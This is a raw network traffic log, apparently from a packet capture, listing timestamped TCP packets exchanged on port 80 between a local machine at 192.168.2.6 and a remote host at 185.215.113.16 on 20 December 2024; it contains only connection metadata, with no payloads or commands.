Dec 20, 2024 17:17:51.434653997 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.435039043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.435050964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.435064077 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.435075998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.435080051 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.435089111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.435100079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.435100079 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.435127974 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.435770988 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.435848951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.435905933 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.435966969 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.435978889 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.435990095 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.436019897 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.436044931 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.436425924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.436436892 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.436450005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.436464071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.436474085 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.436485052 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.436495066 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.436496973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.436507940 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.436543941 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.437146902 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.437165976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.437216997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.437216997 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.437230110 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.437297106 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.472385883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.472434044 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.472474098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.472486019 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.472517967 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.472704887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.472717047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.472728968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.472768068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.473108053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.473119974 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.473131895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.473144054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.473166943 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.473180056 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.473617077 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.473628998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.473649025 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.473654985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.473711967 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.473979950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.473992109 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.474004030 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.474037886 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.474056959 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.474356890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.474375010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.474385023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.474390984 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.474438906 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.474900961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.474912882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.474924088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.474935055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.474946022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.474957943 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.474962950 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.474987984 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.474999905 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.475728989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.475743055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.475754023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.475764990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.475791931 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.475814104 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.476079941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.476092100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.476128101 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.476134062 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.476145983 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.476155996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.476166964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.476198912 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.476211071 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.477014065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477027893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477036953 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477049112 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477060080 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477073908 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477075100 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.477086067 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477097988 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.477113962 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.477776051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477794886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477806091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477824926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477835894 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477840900 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.477848053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477859020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.477871895 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.477890968 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.478681087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.478693962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.478704929 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.478715897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.478728056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.478738070 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.478844881 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.478844881 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.479415894 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.479440928 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.479450941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.479463100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.479504108 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.479518890 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.525233030 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.525291920 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.525304079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.525336027 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.525516987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.525561094 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.525563955 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.525577068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.525588989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.525610924 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.525971889 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.526118040 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.526129961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.526181936 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.526340961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.526360035 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.526386976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.526400089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.526411057 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.526428938 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.526942015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.526953936 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.526966095 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.526977062 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.526988983 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.527000904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.527009964 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.527012110 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.527033091 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.527055025 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.626512051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.626607895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.626626015 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.626676083 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.626867056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.626878977 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.626921892 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.626935005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.626935959 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.626957893 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.627384901 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.627407074 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.627437115 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.627588034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.627629042 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.627639055 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.627641916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.627680063 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.627995968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.628006935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.628025055 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.628036976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.628048897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.628058910 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.628058910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.628072023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.628086090 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.628103971 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.628851891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.628865004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.628875971 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.628886938 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.628897905 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.628900051 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.628926039 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.628951073 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.629429102 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.629441023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.629453897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.629463911 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.629482031 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.629504919 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.664688110 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.664710045 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.664726973 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.664792061 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.665002108 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.665020943 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.665034056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.665044069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.665079117 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.665405989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.665426016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.665488005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.665499926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.665514946 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.665518999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.665530920 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.665553093 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.666121960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.666296005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.666307926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.666318893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.666331053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.666343927 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.666354895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.666369915 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.666395903 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.667072058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.667085886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.667095900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.667108059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.667114019 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.667119980 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.667135000 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.667161942 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.667574883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.667633057 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.667644978 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.667656898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.667675972 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.667690039 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.667716980 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.668304920 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.668315887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.668328047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.668339968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.668350935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.668364048 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.668371916 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.668406963 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.669048071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.669085979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.669097900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.669109106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.669121027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.669146061 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.669162989 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.669579029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.669590950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.669629097 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.669641018 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.669651985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.669663906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.669682980 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.669701099 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.670480013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.670494080 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.670506001 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.670516968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.670527935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.670541048 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.670553923 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.670578957 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.670614958 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.671447039 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.671459913 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.671471119 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.671482086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.671493053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.671503067 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.671509981 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.671518087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.671530008 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.671552896 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.717516899 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.717570066 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.717581987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.717643023 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.717816114 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.717828035 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.717839956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.717861891 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.717876911 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.718138933 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.718214989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.718347073 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.718358994 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.718425035 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.718595028 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.718636036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.718647957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.718664885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.718689919 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.718703985 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.719141960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.719153881 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.719165087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.719249964 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.719533920 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.719552040 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.719563961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.719577074 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.719587088 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.719604969 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.818969965 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.818983078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.819040060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.819063902 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.819076061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.819185972 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.819222927 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.819272041 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.819307089 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.819504976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.819516897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.819554090 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.819713116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.819750071 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.819785118 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.819804907 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.819816113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.819828987 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.819861889 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.820287943 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.820324898 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.820403099 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.820453882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.820460081 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.820502043 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.820674896 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.820688009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.820722103 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.820740938 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.820753098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.820764065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.820804119 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.821320057 CET	80	49809	185.215.113.16	192.168.2.6
